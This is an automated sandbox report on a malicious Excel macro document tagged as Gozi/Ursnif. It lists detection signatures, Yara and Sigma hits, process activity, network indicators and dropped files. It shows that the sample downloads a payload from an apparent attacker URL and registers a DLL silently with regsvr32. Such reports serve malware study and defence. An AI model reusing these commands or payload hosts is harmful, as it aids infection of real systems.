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Analysis Report document-1423769819.xls

Overview

General Information

Sample Name:	document-1423769819.xls
Analysis ID:	324305
MD5:	1d20db444db998eae5a4970482e0f177
SHA1:	dd4e3b177804910b5a42b4377a1913fcca85baad
SHA256:	31d3a487f454a78f2ed78b95c309a6841052e010ea33fcc53f1faba5d22d11f6
Tags:	goziSilentBuilderursnifxls
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found obfuscated Excel 4.0 Macro

Sigma detected: Microsoft Office Product Spawning Windows Shell

Yara detected hidden Macro 4.0 in Excel

Document contains embedded VBA macros

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Registers a DLL

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 1144 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

regsvr32.exe (PID: 2376 cmdline: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll MD5: 59BCE9F07985F8A4204F4D6554CFF708)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
document-1423769819.xls	SUSP_Excel4Macro_AutoOpen	Detects Excel4 macro use with auto open / close	John Lambert @JohnLaTwC	0x0:$header_docf: D0 CF 11 E0 0x502a2:$s1: Excel 0x5131d:$s1: Excel 0x389b:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1423769819.xls	JoeSecurity_HiddenMacro	Yara detected hidden Macro 4.0 in Excel	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis: Data: Command: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, CommandLine: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1144, ProcessCommandLine: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, ProcessId: 2376

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: document-1423769819.xls

Virustotal: Detection: 33%

Perma Link

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Jump to behavior

Source: global traffic

DNS query: name: birdexim.com

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.21.59.169:443

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 103.21.59.169:443

Source: Joe Sandbox View

IP Address: 103.21.59.169 103.21.59.169

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: unknown

DNS traffic detected: queries for: birdexim.com

Source: E0F5C59F9FA661F6F4C50B87FEF3A15A.0.dr	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c
Source: 77EC63BDA74BD0D0E0426DC8F8008506.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000003.00000002.2097778604.0000000001DD0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: document-1423769819.xls	String found in binary or memory: https://birdexim.com/ds/231120.gif

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4

Screenshot OCR: Enable Content X I Al " "," jR " A B C D E F G H I J K L M N O P Q R S T : 1 2 3 4 5 6 7

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: document-1423769819.xls	Initial sample: CALL
Source: document-1423769819.xls	Initial sample: CALL
Source: document-1423769819.xls	Initial sample: CALL
Source: document-1423769819.xls	Initial sample: CALL
Source: document-1423769819.xls	Initial sample: EXEC

Found obfuscated Excel 4.0 Macro

Show sources

Source: document-1423769819.xls

Initial sample: High usage of CHAR() function: 18

Source: document-1423769819.xls

OLE indicator, VBA macros: true

Source: document-1423769819.xls, type: SAMPLE

Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Source: classification engine

Classification label: mal80.expl.evad.winXLS@3/11@1/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\61EE0000

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD873.tmp

Jump to behavior

Source: document-1423769819.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: document-1423769819.xls

Virustotal: Detection: 33%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Show sources

Source: Yara match

File source: document-1423769819.xls, type: SAMPLE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Process Injection1	Regsvr321	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Masquerading1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools1	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Ingress Tool Transfer1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting21	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
document-1423769819.xls	34%	Virustotal		Browse
document-1423769819.xls	11%	Metadefender		Browse
document-1423769819.xls	4%	ReversingLabs	Document-Word.Trojan.Heuristic

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
birdexim.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe
https://birdexim.com/ds/231120.gif	0%	URL Reputation	safe
https://birdexim.com/ds/231120.gif	0%	URL Reputation	safe
https://birdexim.com/ds/231120.gif	0%	URL Reputation	safe
https://birdexim.com/ds/231120.gif	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
birdexim.com	103.21.59.169	true	false	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://servername/isapibackend.dll	regsvr32.exe, 00000003.00000002.2097778604.0000000001DD0000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
https://birdexim.com/ds/231120.gif	document-1423769819.xls	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.21.59.169	unknown	United Arab Emirates		394695	PUBLIC-DOMAIN-REGISTRYUS	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	324305
Start date:	29.11.2020
Start time:	04:51:31
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	document-1423769819.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.expl.evad.winXLS@3/11@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Excluded IPs from analysis (whitelisted): 192.35.177.64, 2.20.142.209, 2.20.142.210 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, apps.digsigtrust.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, apps.identrust.com, au-bg-shim.trafficmanager.net Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
103.21.59.169	document-1443146531.xls	Get hash	malicious	Browse
	document-1443146531.xls	Get hash	malicious	Browse
	document-1453508098.xls	Get hash	malicious	Browse
	document-1453508098.xls	Get hash	malicious	Browse
	document-1443646287.xls	Get hash	malicious	Browse
	document-1443646287.xls	Get hash	malicious	Browse
	document-1452240368.xls	Get hash	malicious	Browse
	document-1452240368.xls	Get hash	malicious	Browse
	document-1448493973.xls	Get hash	malicious	Browse
	document-1448493973.xls	Get hash	malicious	Browse
	document-144037925.xls	Get hash	malicious	Browse
	document-144037925.xls	Get hash	malicious	Browse
	document-14531360.xls	Get hash	malicious	Browse
	document-14531360.xls	Get hash	malicious	Browse
	document-1440220447.xls	Get hash	malicious	Browse
	document-1440220447.xls	Get hash	malicious	Browse
	document-1462939617.xls	Get hash	malicious	Browse
	document-1462939617.xls	Get hash	malicious	Browse
	document-1456864371.xls	Get hash	malicious	Browse
	document-1456864371.xls	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
birdexim.com	document-1443146531.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443146531.xls	Get hash	malicious	Browse	103.21.59.169
	document-1453508098.xls	Get hash	malicious	Browse	103.21.59.169
	document-1453508098.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443646287.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443646287.xls	Get hash	malicious	Browse	103.21.59.169
	document-1452240368.xls	Get hash	malicious	Browse	103.21.59.169
	document-1452240368.xls	Get hash	malicious	Browse	103.21.59.169
	document-1448493973.xls	Get hash	malicious	Browse	103.21.59.169
	document-1448493973.xls	Get hash	malicious	Browse	103.21.59.169
	document-144037925.xls	Get hash	malicious	Browse	103.21.59.169
	document-144037925.xls	Get hash	malicious	Browse	103.21.59.169
	document-14531360.xls	Get hash	malicious	Browse	103.21.59.169
	document-14531360.xls	Get hash	malicious	Browse	103.21.59.169
	document-1440220447.xls	Get hash	malicious	Browse	103.21.59.169
	document-1440220447.xls	Get hash	malicious	Browse	103.21.59.169
	document-1462939617.xls	Get hash	malicious	Browse	103.21.59.169
	document-1462939617.xls	Get hash	malicious	Browse	103.21.59.169
	document-1456864371.xls	Get hash	malicious	Browse	103.21.59.169
	document-1456864371.xls	Get hash	malicious	Browse	103.21.59.169

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	document-1443146531.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443146531.xls	Get hash	malicious	Browse	103.21.59.169
	document-1453508098.xls	Get hash	malicious	Browse	103.21.59.169
	document-1453508098.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443646287.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443646287.xls	Get hash	malicious	Browse	103.21.59.169
	document-1452240368.xls	Get hash	malicious	Browse	103.21.59.169
	document-1452240368.xls	Get hash	malicious	Browse	103.21.59.169
	document-1448493973.xls	Get hash	malicious	Browse	103.21.59.169
	document-1448493973.xls	Get hash	malicious	Browse	103.21.59.169
	document-144037925.xls	Get hash	malicious	Browse	103.21.59.169
	document-144037925.xls	Get hash	malicious	Browse	103.21.59.169
	document-14531360.xls	Get hash	malicious	Browse	103.21.59.169
	document-14531360.xls	Get hash	malicious	Browse	103.21.59.169
	document-1440220447.xls	Get hash	malicious	Browse	103.21.59.169
	document-1440220447.xls	Get hash	malicious	Browse	103.21.59.169
	document-1462939617.xls	Get hash	malicious	Browse	103.21.59.169
	document-1462939617.xls	Get hash	malicious	Browse	103.21.59.169
	document-1456864371.xls	Get hash	malicious	Browse	103.21.59.169
	document-1456864371.xls	Get hash	malicious	Browse	103.21.59.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	document-1322008235.xls	Get hash	malicious	Browse	103.21.59.169
	2019-07-05-password-protected-Word-doc-with-macro-for-follow-up-malware.doc	Get hash	malicious	Browse	103.21.59.169
	document-1353534916.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443146531.xls	Get hash	malicious	Browse	103.21.59.169
	document-1359580495.xls	Get hash	malicious	Browse	103.21.59.169
	document-135688950.xls	Get hash	malicious	Browse	103.21.59.169
	document-1490425384.xls	Get hash	malicious	Browse	103.21.59.169
	document-1453508098.xls	Get hash	malicious	Browse	103.21.59.169
	document-1443646287.xls	Get hash	malicious	Browse	103.21.59.169
	document-1452240368.xls	Get hash	malicious	Browse	103.21.59.169
	document-1476538535.xls	Get hash	malicious	Browse	103.21.59.169
	document-1363041939.xls	Get hash	malicious	Browse	103.21.59.169
	document-1442977347.xls	Get hash	malicious	Browse	103.21.59.169
	document-1353330392.xls	Get hash	malicious	Browse	103.21.59.169
	document-1444203221.xls	Get hash	malicious	Browse	103.21.59.169
	document-1353428775.xls	Get hash	malicious	Browse	103.21.59.169
	document-1481025349.xls	Get hash	malicious	Browse	103.21.59.169
	document-1448493973.xls	Get hash	malicious	Browse	103.21.59.169
	document-1466544307.xls	Get hash	malicious	Browse	103.21.59.169
	document-144037925.xls	Get hash	malicious	Browse	103.21.59.169

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	893
Entropy (8bit):	7.366016576663508
Encrypted:	false
SSDEEP:	24:hBntmDvKUQQDvKUr7C5fpqp8gPvXHmXvponXux:3ntmD5QQD5XC5RqHHXmXvp++x
MD5:	D4AE187B4574036C2D76B6DF8A8C1A30
SHA1:	B06F409FA14BAB33CBAF4A37811B8740B624D9E5
SHA-256:	A2CE3A0FA7D2A833D1801E01EC48E35B70D84F3467CC9F8FAB370386E13879C7
SHA-512:	1F44A360E8BB8ADA22BC5BFE001F1BABB4E72005A46BC2A94C33C4BD149FF256CCE6F35D65CA4F7FC2A5B9E15494155449830D2809C8CF218D0B9196EC646B0C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0..y...H.........j0..f...1.0....H.........N0..J0..2.......D....'..09...@k0....H........0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30...000930211219Z..210930140115Z0?1$0"..U....Digital Signature Trust Co.1.0...U....DST Root CA X30.."0....H.............0..........P..W..be......,k0.[...}.@......3vI.?!I..N..>H.e...!.e..2....w..{........s.z..2..~..0....8.y.1.P..e.Qc...a.Ka..Rk...K.(.H......>.... .[.....p....%.tr.{j.4.0...h.{T....Z...=d.....Ap..r.&.8U9C....\@........%.......:..n.>..\..<.i.....)W..=....]......B0@0...U.......0....0...U...........0...U.........{,q...K.u...`...0....H...............,...\...(f7:...?K.... ]..YD.>.>..K.t.....t..~.....K. D....}..j.....N..:.pI...........:^H...X._..Z.....Y..n......f3.Y[...sG.+..7H..VK....r2...D.SrmC.&H.Rg.X..gvqx...V..9$1....Z0G..P.......dc`........}...=2.e..\|.Wv..(9..e...w.j..w.......)...55.1.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.1147363886328936
Encrypted:	false
SSDEEP:	6:kK+jFwwDN+SkQlPlEGYRMY9z+4KlDA3RUegeT6lf:lkPlE99SNxAhUegeT2
MD5:	C8C07D251200250491D75F3E50A0BDA9
SHA1:	056649D36A37B9D3A13131A1CA0AFDEB84951C98
SHA-256:	866EFC63C6773CEF7DF46A239BD2220FFFE78D9B6A58D7E10489966510EE4A3D
SHA-512:	D4BAAF965705087B346480BC0FC561B20DB11B348ED7C9714C67CAD858D2EAE43DFF4C53771B98B25AC98FC543D3643821474E46A82B300FCFAB581C0516802F
Malicious:	false
Reputation:	low
Preview:	p...... ..........m.N...(....................................................... ..........Y.......$...........8...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.0294634724686764
Encrypted:	false
SSDEEP:	3:kkFkl1o31fllXlE/QhzllPlzRkwWBARLNDU+ZMlKlBkvclcMlVHblB1UAYpFit:kKtvliBAIdQZV7eAYLit
MD5:	911C205DDA1F21AF95AAF49792199EF2
SHA1:	42B35340D8D29554DAE6C841212FE4E3295C1355
SHA-256:	C472C378E4A55D8259FB60C039E502952CEC40F86A4872B636B786C3BECAF316
SHA-512:	02F6D46AB630CB66DF50DEDA930B8A4B1AA614B661ADA9F1E49229BA457C31BCA41F8025BB12D3BDC8F0521EB76B2B4FA15D1025558D99FB70347540151312AE
Malicious:	false
Reputation:	low
Preview:	p...... ....`.....@.N...(....................................................... ........u.........(...........}...h.t.t.p.:././.a.p.p.s...i.d.e.n.t.r.u.s.t...c.o.m./.r.o.o.t.s./.d.s.t.r.o.o.t.c.a.x.3...p.7.c...".3.7.d.-.5.9.e.7.6.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Temp\CFDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	316187
Entropy (8bit):	7.983905136577644
Encrypted:	false
SSDEEP:	6144:nFrFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MO:FFPM8R3AsB+bjej/9cz
MD5:	551FC976D8151523E30707557B87470C
SHA1:	8BEBD3FDF3D512E5DB5F1753E3503849CD122279
SHA-256:	9EA29D88488069303E289192FA4D1E77B4BC5ECA3435DA53F49CC5920FD193E5
SHA-512:	B6CEB5A4754E436ED0DAB083C03FADE16FACE3E66FFC2051DF315753CD3A136827E2D10E163660DA3F16435248835172FE8F59999BD707CD3B39F909BCAECC53
Malicious:	false
Reputation:	low
